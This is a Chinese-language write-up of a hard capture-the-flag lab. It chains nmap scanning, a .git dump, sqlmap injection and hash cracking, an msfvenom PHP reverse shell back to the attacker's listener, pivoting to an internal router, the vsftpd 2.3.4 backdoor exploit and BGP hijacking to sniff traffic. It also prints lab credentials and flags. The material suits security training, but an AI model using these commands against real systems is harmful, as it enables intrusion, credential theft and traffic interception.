端口扫描

sudo nmap --min-rate 10000 -p- 10.10.36.235
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-21 19:55 CST
Nmap scan report for 10.10.36.235
Host is up (0.26s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp closed http-proxy
sudo nmap -sT -sV -sC -O -p22,80,8080 10.10.36.235 
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-21 19:56 CST
Nmap scan report for 10.10.36.235
Host is up (0.21s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 97:b1:12:e9:f8:99:9f:83:dc:42:2c:f4:1f:86:68:cc (RSA)
| 256 aa:0b:d6:f2:98:8c:38:4e:c1:36:d6:72:e4:88:43:24 (ECDSA)
|_ 256 c8:23:ba:18:b6:03:8b:e2:30:94:1a:9d:b4:1c:83:b4 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Context Information Security - HackBack 2
| http-git:
| 10.10.36.235:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: added mobile apk for beta testing.
8080/tcp closed http-proxy
Aggressive OS guesses: Linux 3.10 - 3.13 (89%), Linux 5.4 (89%), Linux 3.10 - 4.11 (88%), Linux 3.12 (88%), Linux 3.13 (88%), Linux 3.13 or 4.2 (88%), Linux 3.2 - 3.5 (88%), Linux 3.2 - 3.8 (88%), Linux 4.2 (88%), Linux 4.4 (88%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.70 seconds

Web

看上去是一个软件测试的网站,可以下载一个APK,这个先放一边。下面是有一个登录框但是没有凭证。扫一下目录,在上面能看到有一个.git。试一下gitdumper

python git_dumper.py http://10.10.36.235/.git/ ~/桌面/webapp

在functions.php中能看到数据库凭证,先保存

$db_servername = "localhost";
$db_username = "root";
$db_password = "CCv4@he2MaHbIP7mB89TNKdei0VZ0Y";
$db_name = "myfirstwebsite";

还有个API.php,验证了一个apikey的参数

先试一下这个

访问:

http://10.10.36.235/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=1

只要传入的apikey满足那三个中一个就行,id随便传一个进去。在id参数输入引号后报错,用sqlmap跑一下

sqlmap -u 'http://10.10.36.235/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=1%27' -p documentid --dbs

有注入!

sqlmap -u 'http://10.10.36.235/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=1%27' -p documentid -D myfirstwebsite --tables

有documents和users两个表

sqlmap -u 'http://10.10.36.235/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=1%27' -p documentid -D myfirstwebsite -T users --dump

得到一个billg用户和哈希

$2y$10$wWeyIzGcD7TVwZ7y7d3UCO5eEssZShTQzBU2yIebvvQQw1y676zVW

echo '$2y$10$wWeyIzGcD7TVwZ7y7d3UCO5eEssZShTQzBU2yIebvvQQw1y676zVW'>hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

得到密码:potato

Getshell

但是登录进去就只有几个PDF,阿哲。。。估计是兔子洞

sqlmap -u 'http://10.10.36.235/api.php?apikey=WEBLhvOJAH8d50Z4y5G5&documentid=1%27' -p documentid --os-shell

但是发现能直接拿到www-data权限的shell!估计是能够写马。

但是发现只能在/var/www/html目录活动不能CD至别的目录,但是能catflag

cat /var/www/flag.txt

flag4

{FLAG:Webapp:48a5f4bfef44c8e9b34b926051ad35a6}

Git

突然发现房间里前面的几个flag还没找到哦。git必然是有用的

git log看一下

发现b2f776a52fe81a731c6c0fa896e7f9548aafceab移除了敏感文件,那就看一下79c9539b6566b06d6dec2755fdf58f5f9ec8822f中的敏感文件

git checkout 79c9539b6566b06d6dec2755fdf58f5f9ec8822f

在api.php中

flag3

GITtFi80llzs4TxqMWtCotiTZpf0HC

然后在home.php

flag2

WEBLhvOJAH8d50Z4y5G5g4McG1GMGD

看来那个APK需要逆向了,放到jadx-gui,搜索apikey,存在一个变量encrypted_api_key,也就是说这个key被加密了

apktool d ~/下载/mobile-app-prototype.apk

apk能直接解密好像?

grep -rn 'encrypted_api_key'

递归查找这个字符串

得到加密的密文

CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo

还有之前api.php中的ANDVOWLDLAS5Q8OQZ2tu

不是很懂,WP说是维吉尼亚密码。也就是说

CBQOSTEFZNL5U8LJB2hhBTDvQi2zQo是加密后的密文

ANDVOWLDLAS5Q8OQZ2tu这个是加密前的明文

原谅我真的不会这个 TAT

flag1

ANDVOWLDLAS5Q8OQZ2tuIPGcOu2mXk

提权

OK,让我们回到之前的sqlmap建立的shell,果然还是比较习惯用反弹shell

SQLmap自动帮我们生成了上传文件用的PHP脚本,浏览器中直接访问

/tmpbajai.php上传一个msf生成的php反弹shell,然后用sqlmap的上传来上传

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.11.38.245 LPORT=1234 R

用msf接受shell,方便后续的文件上传

msf> use multi/handler
msf exploit(handler) > set lport 1234
msf exploit(handler) > set lhost tun0
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > exploit

浏览器中访问,接收到shell

upload nmap
shell
ip a

发现是有两张以太网卡,扫描一下eth1网卡

chmod +x nmap
./nmap -sn 172.16.0.0/16

扫到一台172.16.1.128机器

./nmap --open -T5 -v -n -p- 172.16.1.128
PORT     STATE SERVICE
21/tcp open ftp
179/tcp open bgp
2601/tcp open zebra
2605/tcp open bgpd

发现有开21ftp端口,做一个端口转发到本地

exit退出shell

portfwd add -l 21 -p 21 -r 172.16.1.128

在kali中

ftp localhost 21

得到FTP的版本vsFTPd 2.3.4

存在漏洞可以利用

还需要转发一个6200端口

portfwd add -l 6200 -p 6200 -r 172.16.1.128

https://github.com/Hellsender01/vsftpd_2.3.4_Exploit

利用exp

python3 exploit.py localhost

flag5

{FLAG:Router1:c877f00ce2b886446395150589166dcd}

BGP劫持

稍微了解一下BGP劫持:

https://www.cloudflare.com/zh-cn/learning/security/glossary/bgp-hijacking/

在得到的rootshell中使用vytsh

systemctl start frr
sudo vtysh
config terminal
router1.ctx.ctf(config)# router bgp 60001
router1.ctx.ctf(config)# network 172.16.2.0/25
router1.ctx.ctf(config)# network 172.16.3.0/25
router1.ctx.ctf(config)# end
router1.ctx.ctf# clear ip bgp *
router1.ctx.ctf# exit
tcpdump -i eth0 -A

flag6

{FLAG:UDP:3bb271d020df6cbe599a46d20e9fcb3c}

flag7

{FLAG:TCP:8fb04648d6b2bd40af6581942fcf483e}

碎碎念

hard难度的靶机。。。感觉已经不止hard了,主要是考察的点实在是太多了。而且每个点都还有一定的难度,并且对于计算机网络知识还有一定的考验,最后那一块BGP劫持不是很懂,以后再研究了。